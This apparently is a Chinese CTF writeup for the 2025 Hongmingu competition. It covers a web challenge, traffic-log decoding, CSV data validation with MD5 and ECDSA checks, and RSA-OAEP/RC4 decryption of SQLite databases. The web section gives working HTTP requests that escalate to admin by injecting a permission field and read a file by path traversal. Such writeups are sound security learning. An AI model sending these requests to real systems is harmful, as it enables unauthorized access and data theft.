当前位置: 首页 > news >正文

2025红明谷writeup

写在前面:
好久不见,这里是贝塔贝塔(好长时间没喊过的口号,也有很多文章夭折了,管挖不管埋
好久没有打比赛了[没错,我是懒狗]
最近在摸鱼王者ing

简单的仓库

队友做的web捏

注册获取VIP功能


POST /api/recharge HTTP/1.1

Host: eci-2ze75am5axzh4dfots3n.cloudeci1.ichunqiu.com

Content-Length: 66

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36

Content-Type: application/json

Accept: */*

Origin: http://eci-2ze75am5axzh4dfots3n.cloudeci1.ichunqiu.com

Referer: http://eci-2ze75am5axzh4dfots3n.cloudeci1.ichunqiu.com/warehouse

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: session=eyJ1c2VyIjoiMTIzNDU2In0.Z944fA.fo3H4bnB35ERk3kD5upqqh68m-E

Connection: close

 

{"amount":"111111111111","username":"123456","permission":"admin"}

根据admin下的readme.txt提示获取flag


GET /download/flag.txt?user=../../../var/tmp HTTP/1.1

Host: eci-2ze75am5axzh4dfots3n.cloudeci1.ichunqiu.com

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://eci-2ze75am5axzh4dfots3n.cloudeci1.ichunqiu.com/warehouse

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: session=eyJwZXJtaXNzaW9uIjoidmlwIiwidXNlciI6IjEyMzQ1NiJ9.Z944lw.hy-pycBaMUDSN5N_qjUjaKo8P7k

Connection: close

异常行为溯源

打开流量包发现是tcp,有data部分,使用tshark提取这个部分,并使用脚本解密

import base64

import json

import binascii

 

def process_file(input_file_path, output_file_path):

  with open(input_file_path, 'r') as file:

​    lines = file.readlines()

 

  with open(output_file_path, 'wb') as out_file:

​    for line in lines:

​      line = line.strip()

​      if not line:

​        continue

​      try:

​        hex_data = bytes.fromhex(line)

​        \# 处理Base64填充问题

​        padding = len(hex_data) % 4

​        if padding:

​          hex_data += b'=' * (4 - padding)

​        base64_decoded = base64.b64decode(hex_data)

​        try:

​          data = json.loads(base64_decoded)

​          msg = data.get('msg')

​          if msg:

​            msg_decoded = base64.b64decode(msg)

​            out_file.write(msg_decoded)

​        except json.JSONDecodeError:

​          out_file.write(base64_decoded)

​      except (ValueError, binascii.Error, base64.binascii.Error) as e:

​        print(f"处理过程中出现错误: {e},当前行: {line}")

 

if __name__ == "__main__":

  input_file = 'data.txt'

  output_file = 'log'

  process_file(input_file, output_file)

在这里插入图片描述

之后md5访问次数最多的ip提交即可

数据校验

下载文件,分离十条数据例子使用ai写脚本

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

import pandas as pd

import re

import hashlib

import ipaddress

import base64

from ecdsa import VerifyingKey, SECP256k1

import os

 

\# 读取文件

df = pd.read_csv('./data.csv')

 

\# 检查 UserName 格式

def check_username_format(username):

  return bool(re.match(r'User-\w+', username))

 

\# 验证 MD5 值

def verify_md5(input_str, md5_check):

  md5_hash = hashlib.md5(input_str.encode()).hexdigest()

  return md5_hash == md5_check

 

\# 检查 Password 字符类型

def check_password_characters(password):

  return bool(re.match(r'^[A-Za-z0-9]+$', password))

 

\# 检查 IP 地址合法性

def check_ip(ip):

  try:

​    ipaddress.ip_address(ip)

​    return True

  except ValueError:

​    return False

 

\# 验证 ECDSA 签名

def verify_ecdsa_signature(username, signature, serial_number):

  public_key_path = os.path.join('./ecdsa-key/', f'{serial_number}.pem')

  if not os.path.exists(public_key_path):

​    \#print(1)

​    return False

  with open(public_key_path, 'rb') as key_file:

​    vk = VerifyingKey.from_pem(key_file.read())

​    \#print(vk)

  try:

​    \# 对 Base64 编码的签名进行解码

​    decoded_signature = base64.b64decode(signature)

​    vk.verify(decoded_signature, username.encode())

​    return True

  except Exception as e:

​    \#print(21)

​    \#print(e)

​    return False

 

\# 进行各项检查

df['UserName_Format_Correct'] = df['UserName'].apply(check_username_format)

df['UserName_MD5_Correct'] = df.apply(lambda row: verify_md5(row['UserName'], row['UserName_Check']), axis=1)

df['Password_Characters_Correct'] = df['Password'].apply(check_password_characters)

df['Password_MD5_Correct'] = df.apply(lambda row: verify_md5(row['Password'], row['Password_Check']), axis=1)

df['IP_Correct'] = df['IP'].apply(check_ip)

df['Signature_Correct'] = df.apply(lambda row: verify_ecdsa_signature(row['UserName'], row['Signature'], row['Serial_Number']), axis=1)

 

\# 找出有一条为 false 的行

invalid_rows = df[~(df['UserName_Format_Correct'] & df['UserName_MD5_Correct'] &

​          df['Password_Characters_Correct'] & df['Password_MD5_Correct'] &

​          df['IP_Correct'] & df['Signature_Correct'])]

print(invalid_rows)

 

\# 提取这些行的 Serial_Number

invalid_serial_numbers = invalid_rows['Serial_Number'].tolist()

 

\# 按从小到大排序

invalid_serial_numbers.sort()

 

\# 打印 Serial_Number

print("不合规的 Serial_Number:")

for num in invalid_serial_numbers:

  print(num)

 

\# 用 _ 连接

joined_numbers = '_'.join(map(str, invalid_serial_numbers))

 

\# 计算 MD5

md5_result = hashlib.md5(joined_numbers.encode()).hexdigest()

 

\# 生成 flag

flag = f'flag{{{md5_result}}}'

print(flag)

Strange_Database

下载文件分析发现是db数据库文件和私钥文件
找一个在线的先简单测试一下解密过程
在这里插入图片描述

└─$ openssl rsautl -decrypt -oaep -in 1.txt -out in_e_d.txt -inkey OAEP-0-tycQQe.pem
Enter pass phrase for OAEP-0-tycQQe.pem:

在本地使用openssl可以,那么训练ai 调用系统命令解码
在这里插入图片描述


import os
import base64
import subprocess
import sqlite3

def decrypt_with_openssl(encrypted_data, private_key_path, private_key_password):
    try:
        # 进行 Base64 解码
        decoded_data = base64.b64decode(encrypted_data)
        # 构建 openssl 命令
        command = [
            "openssl",
            "rsautl",
            "-decrypt",
            "-oaep",
            "-inkey",
            private_key_path,
            "-passin",
            f"pass:{private_key_password}"
        ]
        # 执行命令
        result = subprocess.run(command, input=decoded_data, capture_output=True)
        if result.returncode == 0:
            return result.stdout.decode("utf-8")
        else:
            print(f"Decryption failed with error: {result.stderr.decode('utf-8')}")
            return None
    except Exception as e:
        print(f"An error occurred during decryption: {e}")
        return None

def process_db_file(db_path, private_key_path, private_key_password):
    try:
        # 连接到 SQLite 数据库
        conn = sqlite3.connect(db_path)
        cursor = conn.cursor()
        # 查询所需字段的数据
        cursor.execute("SELECT Type, Name, Password, Remark FROM accounts")
        rows = cursor.fetchall()
        conn.close()

        decrypted_rows = []
        for row in rows:
            decrypted_row = []
            for field in row:
                if field:
                    decrypted_field = decrypt_with_openssl(field, private_key_path, private_key_password)
                    decrypted_row.append(decrypted_field if decrypted_field else field)
                else:
                    decrypted_row.append(field)
            decrypted_rows.append(decrypted_row)

        # 生成输出文件路径
        output_filename = os.path.splitext(os.path.basename(db_path))[0] + "_decrypted.csv"
        output_path = os.path.join(os.path.dirname(db_path), output_filename)
        # 将解密后的数据写入 CSV 文件
        with open(output_path, "w", newline="", encoding="utf-8") as csvfile:
            for row in decrypted_rows:
                csvfile.write(",".join([str(field) if field else "" for field in row]) + "\n")
        print(f"Decrypted data written to {output_path}")
    except sqlite3.Error as e:
        print(f"SQLite error: {e}")
    except Exception as e:
        print(f"An unexpected error occurred: {e}")

def main():
    key_dir = "key"
    database_dir = "database"
    # 遍历 key 目录下的私钥文件
    for key_file in os.listdir(key_dir):
        if key_file.startswith("OAEP-") and key_file.endswith(".pem"):
            parts = key_file.split("-")
            id_part = parts[1]
            private_key_password = parts[2].replace(".pem", "")
            private_key_path = os.path.join(key_dir, key_file)
            db_file = f"database-{id_part}.db"
            db_path = os.path.join(database_dir, db_file)
            if os.path.exists(db_path):
                process_db_file(db_path, private_key_path, private_key_password)

if __name__ == "__main__":
    main()
    

在这里插入图片描述

使用cat合并文件查看解密内容,发现有key和enc两个出现次数非常少的关键词,
在这里插入图片描述

使用grep匹配并按照文件顺序拼接remark列,用key解密enc,经过一顿尝试发现是rc4
在这里插入图片描述
在这里插入图片描述

相关文章:

  • 【零基础学python】python基础语法(二)
  • UE4学习笔记 FPS游戏制作15修正可以换枪中可以继续换枪和开火的Bug
  • 大数据Trino面试题及参考答案
  • SQL Server行转列操作及PIVOT运算符
  • react 大屏根据屏幕分辨率缩放
  • Qt 重入和线程安全
  • 【线程安全问题的原因和方法】【java形式】【图片详解】
  • 深入理解 tree 命令行工具:目录结构可视化的利器
  • LeetCode hot 100 每日一题(15)——48.旋转图像
  • python --face_recognition(人脸识别,检测,特征提取,绘制鼻子,眼睛,嘴巴,眉毛)/活体检测
  • vue数据重置
  • RFID测温技术:提升电缆安全监测的理想选择
  • docker pull时报错:https://registry-1.docker.io/v2/
  • 开源链动2+1模式与AI智能名片赋能的S2B2C共享经济新生态
  • 批量配置Linux ~/.bash_profile
  • 医学图像分割数据集肺分割数据labelme格式6299张2类别
  • 数据库基础知识点(系列二)
  • Atlas 800I A2 双机直连部署DeepSeek-R1-w8a8
  • SAP Activate Methodology in a Nutshell Phases of SAP Activate Methodology
  • 位运算题目:最大单词长度乘积
  • 发布亮眼一季度报后,东阿阿胶股价跌停:现金流隐忧引发争议
  • 王毅:妥协退缩只会让霸凌者得寸进尺
  • “不意外”和“不遗余力”,直击上海商超对接外贸企业
  • 从 “沪惠保” 到 “沪骑保”看普惠保险的 “上海样式”
  • 张译、惠英红分获第二十届中国电影华表奖优秀男、女演员奖
  • 央媒谈多地景区试水“免费开放”:盲目跟风会顾此失彼